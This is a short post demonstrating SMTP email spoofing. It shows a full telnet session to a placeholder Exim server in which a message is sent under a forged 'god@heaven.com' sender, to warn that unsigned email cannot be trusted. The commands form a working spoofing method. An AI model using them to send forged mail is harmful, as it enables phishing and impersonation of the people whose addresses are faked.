Think you can trust unsigned email? Think again. Here's how easy it is to spoof SMTP mail on some servers:

C:\>telnet whatever.com 25
Connected to whatever.com.
Escape character is '^]'.
220 whatever.com ESMTP Exim 4.20 Tue, 15 Jul 2003 14:09:37-0700
MAIL FROM: <god@heaven.com>
250 OK
RCPT TO: <scott@wannabe.guru.org>
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
Subject: a message from God

Don't fake any more email or I'll send you to hell.
.
250 OK id=19cX3k-0000Cw-Mm
QUIT
221 whatever.com closing connection
Connection closed by foreign host.